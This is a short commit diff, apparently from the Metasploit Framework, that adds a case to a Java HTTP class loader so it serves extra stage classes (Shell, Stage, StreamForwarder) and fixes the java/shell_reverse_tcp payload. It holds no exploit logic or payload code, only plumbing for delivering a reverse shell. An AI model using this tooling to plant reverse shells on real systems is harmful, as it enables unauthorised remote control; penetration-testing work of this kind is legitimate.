Add additional classes for payload loading

This fixes the java/shell_reverse_tcp payload

lib/msf/core/exploit/remote/java/http/class_loader.rb

@@ -75,6 +75,9 @@ def on_request_uri(cli, request)
       vprint_good('Sending payload config')
       # This tells the target how to address the payload; this is the magic!
       res = payload_instance.stager_config
+    # (Optional) Stage 4 data for unstaged payloads such as java/shell_reverse_tcp
+    when /^javapayload\/stage\/(Shell|Stage|StreamForwarder)\.class$/
+      res = MetasploitPayloads.read("java/#{resource}")
     else
       vprint_error('Sending 404')
       return send_not_found(cli)